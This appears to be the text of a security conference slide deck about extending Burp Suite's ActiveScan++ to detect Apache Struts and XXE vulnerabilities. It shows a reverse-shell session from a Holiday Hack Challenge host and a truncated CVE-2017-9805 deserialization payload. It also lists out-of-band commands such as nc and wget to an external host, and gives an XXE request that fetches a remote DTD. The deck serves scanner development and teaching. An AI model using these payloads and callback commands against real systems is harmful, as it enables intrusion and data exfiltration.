Burp Better

Extending Burp to Find Struts and XXE Vulnerabilities
Or
Build Cool Things from Other People’s Things and GIVE THEM AWAY!
Chris Elgee

Nerd Guy

- Technical Engineer with Counter Hack Challenges
- SANS Community Instructor
- Until recently: Penetration Tester for Sage Data Security
- GSEC-Gold, GCIH, GWAPT, GPEN, CISSP, OSCP

Army National Guard Guy

- Major in the Massachusetts ARNG
- Red teamer
- 26B, 12A, 25A, 02G
What am I missing? (False Negative Anxiety)

• Default credentials
• admin:SooperSecretPassword1234
• https://www.<CLIENTDOMAIN>.com/passwords.txt
• Negative quantities in shopping carts
• XXE in a POST body
• Struts vulnerabilities
Three Themes

• Finding Struts vulnerabilities

• Synthesizing new from old

• Giving away
Background - Struts

- Struts
- Server
- Browser
Oh My Aching Struts!

• CVE-2017-12611, S2-053
• CVE-2017-9805, S2-052
• CVE-2017-5638, S2-045/46
• CVE-2016-4461, S2-036
• CVE-2016-4438, S2-037
• CVE-2016-4436, S2-035
• CVE-2016-3087, S2-033
• CVE-2016-3082, S2-031
• CVE-2016-3081, S2-032
Existing Struts Detection

- CIS Top 20 #1, #2, #4
- Python scripts
- Vuln scanners
- NSE scripts
- Burp - ActiveScan++
python

Torch3@instance-1:~ $ ncat -nlvp 41370
Ncat: Version 7.01 (https://rmap.org/ncat)
Ncat: Listening on :::41370
Ncat: Listening on 0.0.0.0:41370
Ncat: Connection from 35.185.84.51.
Ncat: Connection from 35.185.84.51:55346.
bash: cannot set terminal process group (689): Inappropriate ioctl for device
bash: no job control in this shell

$ alabaster_snowball@hhc17-12s:~$ /tmp/asnow.VlwSlxEd3UqyLfwO7Dul5lJwF$ PATH=$PATH:/usr/bin:/usr/local/bin:
/bin:/sbin:/usr/local/sbin:/usr/sbin:
<pwd</usr/local/bin:/usr/local/sbin:
/usr/sbin:
$ alabaster_snowball@hhc17-12s:~$ /tmp/asnow.VlwSlxEd3UqyLfwO7Dul5lJwF$ ifconfig
ifconfig:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
  inet 10.142.0.4 netmask 255.255.255.255 broadcast 10.142.0.4
  ether 42:01:0a:8e:00:04 txqueuelen 1000 (Ethernet)
  RX packets 120653 bytes 96124137 (91.6 MiB)
  RX errors 0 dropped 0 overruns 0 frame 0
  TX packets 135702 bytes 32869239 (31.3 MiB)
  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  inet 127.0.0.1 netmask 255.0.0.0
ActiveScan++

• By albinowax (James Kettle), PortSwigger, written in Python

• Checks for:
  • Potential host header attacks
  • Edge Side Includes
  • XML input handling
  • Suspicious input transformation (eg 7*7 => '49', \ => '\')
  • Blind code injection via expression language, Ruby's open() and Perl's open()

• Requires Burpsuite Pro, jython, and Collaborator
Burp Collaborator

Tester

Target Server

Burp Collaborator

HTTP
SMTP
DNS
Coding Additional Checks

• But I don’t want to code in Java!
• Use Python

• I don’t know the first thing about coding a Burp extension!
• Start with something similar

• How will I make it go?
• Existing python scripts
# Based on exploit at https://github.com/chrisjd20/cve-2017-9805.py
# Tested against https://dev.northpolewonderland.com (SANS Holiday Hack Challenge)
# Tested against https://pentesterlab.com/exercises/s2-052

def doStruts_2017_9805_Scan(self, basePair):
    global callbacks, helpers

    collab = callbacks.createBurpCollaboratorClientContext()
collab_payload = collab.generatePayload(True)

    param_pre = '<?xml version="1.0" encoding="utf8"?>
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandle class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator" class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder command="<redirectErrorStream>false</redirect class="javax.imageio.ImageIO$ContainsFilter"><method><name>foo</name><filter><next class="string">foo</next></serviceIterator...>
What Command Do I Want?

- Works in a blind context
- Cross-platform
- Widely available
- Traverses firewalls
- Won’t run forever

- `dir / whoami / echo`
- `wget http://external.mysite.com`
- `nslookup external.mysite.com`
- `nc external.mysite.com 4444`
- `ping external.mysite.com`

`ping dnscheck.mycollab.com -c1`
Git Fork - Pull - Merge - Fear

Jun 22, 2014 – Jul 13, 2018

Contributions to master, excluding merge commits

albinowax
27 commits 1,038 ++ 700 --

Contributions: Commits

#2
I made a thing!

right - did you mean to...?

Ye - no. Fixed!

ok, I’ll adjust this and that, and - done!
So what?
POST /client/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=4DFCCE4A6252FDFAD83C256FFFF3418A
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 142

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://[redacted]:8675/parameterEntity_doctype.dtd">
<data>&send;</data>

chris@pentest02:~$ /xxe$ python3 -m http.server 8675
Serving HTTP on 0.0.0.0 port 8675 ...
- - [23/May/2018 16:29:44] "GET /parameterEntity_doctype.dtd HTTP/1.1" 200 -
Questions

• What about the new Struts 2018-11776 vulnerability??
Hello,

I was wondering if you might consider implementing a check for CVE-2018-11776? I did read what you said in #8 about being a lightweight scanner addon, but I figure since CVE-2018-11776 is another OGNL related, simple payload it might not be that much work to implement?

An example exploit PoC can be found here. Or maybe an even better payload is just a simple addition injection one like in here \$((111+11))\ which gets executed and translated to 222. English translation.

Having this integrated into a Burp extension would be extremely valuable. The check for the older struts vuln (CVE-2017-5638) has certainly helped me out. The problem with vulnerability scanners is they don't typically also crawl and if they do, it's not deep. Where the check for CVE-2017-5638 has come in handy is for complex sites that have applications nested way past the web root. Using Burp to crawl, then having the plugin run the check has been very useful.
Thank you!

- Chris Elgee
- @chriselgee